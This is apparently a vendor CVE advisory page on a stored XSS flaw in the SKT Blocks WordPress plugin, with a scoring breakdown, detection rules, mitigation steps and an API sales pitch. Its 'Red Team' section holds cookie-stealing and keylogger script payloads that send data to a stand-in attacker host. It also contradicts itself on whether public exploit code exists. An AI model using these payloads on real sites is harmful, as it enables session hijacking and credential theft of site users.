☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Sktthemes logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-26771

CVE-2025-26771 Cross-Site Scripting in Sktthemes
📅 PUBLISHED: 2025-02-17 12:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.08%
👁️
0.08% probability
2.0× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-26771 is a Stored Cross-Site Scripting (XSS) vulnerability in the SKT Blocks WordPress plugin, developed by Sktthemes. The vulnerability exists in versions from n/a through 1.7, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious scripts into block content, which are then stored and executed in the browsers of other users (including administrators) when the affected page is viewed. This can lead to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no public exploit code is available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed SKT Blocks from the WordPress dashboard or via direct download are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector (AV): Network – the vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – no special conditions are required.
  • Privileges Required (PR): Low – an attacker needs contributor-level access or higher.
  • User Interaction (UI): Required – the victim must visit the compromised page.
  • Scope (S): Changed – the impact extends beyond the vulnerable component.
  • Confidentiality (C): Low – limited data exposure.
  • Integrity (I): Low – limited content manipulation.
  • Availability (A): Low – limited service disruption.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for stored XSS in a widely-used WordPress plugin makes it a significant risk for multi-user WordPress sites.

Deep Dive & Mechanics

The vulnerability resides in the SKT Blocks plugin, which provides custom Gutenberg blocks for the WordPress block editor. The plugin fails to sanitize or escape user-supplied input when rendering block attributes or content on the front end. Specifically, when a user with contributor-level or higher privileges creates or edits a post using an SKT Block, the plugin stores the block’s HTML or attribute values directly into the database without proper neutralization. When another user (including an administrator) views the post, the stored malicious script executes in their browser context.

The root cause is the lack of output escaping in the plugin’s rendering functions. WordPress provides functions like esc_html(), esc_attr(), and wp_kses_post() to prevent XSS, but the SKT Blocks plugin does not apply these to user-controlled data within its blocks.

Attack Flow:

  1. An attacker with contributor-level access logs into WordPress.
  2. The attacker creates a new post or edits an existing one.
  3. The attacker inserts an SKT Block and injects a malicious payload (e.g., <script>alert('XSS')</script>) into a block attribute or content field.
  4. The plugin stores the payload in the WordPress database without sanitization.
  5. An administrator or other user visits the post, triggering the stored script.
  6. The script executes, potentially stealing cookies, redirecting the user, or performing actions on their behalf.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin’s rendering functions. A typical vulnerable pattern would be:

Vulnerable Code (PHP):

function skt_blocks_render_block($attributes) {
    $output = '<div class="skt-block">' . $attributes['content'] . '</div>';
    return $output;
}

Patched Code (Hypothetical):

function skt_blocks_render_block($attributes) {
    $safe_content = esc_html($attributes['content']);
    $output = '<div class="skt-block">' . $safe_content . '</div>';
    return $output;
}

The patched version uses esc_html() to neutralize HTML and script tags before output.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress instance with SKT Blocks plugin version <= 1.7 installed.
  • A user account with contributor-level privileges or higher.

Steps:

  1. Log in to WordPress as a contributor.
  2. Navigate to Posts > Add New.
  3. Insert an SKT Block (e.g., a custom heading or text block).
  4. In the block’s content field, enter the following payload:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  5. Publish or save the post.
  6. Wait for an administrator to view the post, or share the link with them.
  7. The administrator’s browser will execute the script, sending their cookies to the attacker’s server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
}
</script>

Blue Team (Defensive)

Detection:

  • Monitor WordPress admin logs for unusual post content containing <script> tags.
  • Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests.
  • Regularly scan the WordPress database for malicious payloads using tools like Wordfence or Sucuri.

Prevention:

  • Restrict contributor-level access to trusted users only.
  • Implement Content Security Policy (CSP) headers to block inline scripts.
  • Apply the principle of least privilege to user roles.

Indicators of Compromise (IOCs)

  • File System: Look for modified plugin files in /wp-content/plugins/skt-blocks/ (though the vulnerability is in the plugin’s logic, not file changes).
  • Database: Search for posts containing <script> tags in the wp_posts table, specifically in post_content or post_excerpt fields.
  • Network: Outbound HTTP requests to unknown domains from the WordPress server, especially those containing cookie data.
  • Logs: WordPress debug logs showing unexpected output or errors related to SKT Blocks.

Detection Engineering

YARA Rule

rule CVE_2025_26771_SKT_Blocks_XSS {
    meta:
        description = "Detects stored XSS payloads in SKT Blocks plugin content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26771"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $skt_block = /skt-blocks/i
    condition:
        $skt_block and $xss_payload
}

Sigma Rule

title: Stored XSS via SKT Blocks Plugin
id: 8f4a3b2c-1d5e-4f6a-9b7c-8d9e0f1a2b3c
status: experimental
description: Detects stored XSS attempts in WordPress posts using SKT Blocks
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains: '<script'
        post_content|contains: 'skt-blocks'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26771 SKT Blocks Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"skt-blocks"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the SKT Blocks plugin until a patch is released.
  2. Review and clean any existing posts that may contain malicious scripts. Use a database search tool to find <script> tags in post content.
  3. Change all user passwords if there is evidence of compromise.

Long-term Mitigation:

  • Monitor the plugin’s official page for updates and apply the patch as soon as it becomes available.
  • Implement a Web Application Firewall (WAF) with XSS protection rules.
  • Enforce Content Security Policy (CSP) headers to block inline scripts.
  • Conduct regular security audits of all installed plugins.

Workaround:

  • If the plugin cannot be disabled, consider using a WordPress security plugin (e.g., Wordfence) that can block XSS payloads at the application level.

Valters IT – DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"SKT Blocks"
http.html:"skt-blocks"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-26771/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.